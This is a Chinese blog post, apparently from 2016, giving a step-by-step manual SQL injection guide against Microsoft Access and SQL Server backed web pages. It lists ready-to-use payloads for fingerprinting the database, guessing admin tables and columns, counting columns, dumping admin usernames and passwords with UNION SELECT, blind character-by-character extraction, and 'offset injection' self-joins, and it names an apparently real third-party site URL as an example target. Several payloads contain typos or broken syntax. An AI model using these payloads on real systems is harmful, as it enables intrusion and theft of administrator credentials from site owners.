access手工注入

1.判断数据类型

and exists (select * from msysobjects) >0    

and exists (select * from sysobjects) >0

 

一般情况下,Microsoft Access的系统表是msysobjects,默认状态下用户没有访问权限,而Microsoft SQL Server的系统表是sysobjects,默认状态下用户是有访问权限的。
 
若数据库是Microsoft SQL Server,且没有进行参数的过滤,则运行第一个语句后,显示的页面是正常的,第二条语句的结果是异常的;若数据库是Microsoft Access,那么两个链接得到的页面都是异常的。

2.数据库表

and exists (select * from admin)

判断是否存在admin表

3.猜用户、密码字段

and exists (select password from admin)

and exists (select admin from admin)

网页正常即存在,一般密码会采用adminpass,passowrd等字段

4.检测字段长度

order by 20        依次测试

网页正常即存在

5.union select 暴管理用户、密码

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
因为有30个字段的长度,所以这样来暴管理和密码。

返回3、5。
我们再改下查询语句
把用户和密码显示出来

union select 1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
OK,用户和密码出来了

6.判断密码长度

and (select len(admin) form admin)>6

返回正常说明管理员账户的长度大于6

and (select len(admin) form admin)=7

返回正常说明管理员账户的长度等于7

and (select len(passwd) form admin)>6

and (select len(passwd) form admin)=7

7.通过ascii码判断

第1字符

and (select top 1 asc(mid(admin,1,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)>50

返回正常说明大于

and (select top 1 asc(mid(admin,1,1)) from admin)=97

返回正常说明等于97对应的字母a

第2字符

and (select top 1 asc(mid(admin,2,1)) from admin)>100

返回正常说明大于,不正常说明不大于

第3字符

and (select top 1 asc(mid(admin,3,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,1,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,2,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,3,1)) from admin)>100

返回正常说明大于,不正常说明不大于

http://www.jnqtly.cn/cp11.asp?id=1129

8.偏移注入

偏移注入原理:
1.Union合并查询需要列相等,顺序一样;
2.select * from admin as a inner join admin as b on a.id=b.id 这句话 就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段
举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列

大致的语句如下
and 1=2 union select * from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,*-1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,b.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select *from( from (users as a inner join users as b on a.id=b.id )
and 1=2 union select * from ((select * from admin) as a inner join (select * from admin) as b on a.id=b.id) inner join (select id from admin) as c on c.id=a.id

posted @ 2016-05-09 22:01  dozeoo  阅读(382)  评论(0编辑  收藏  举报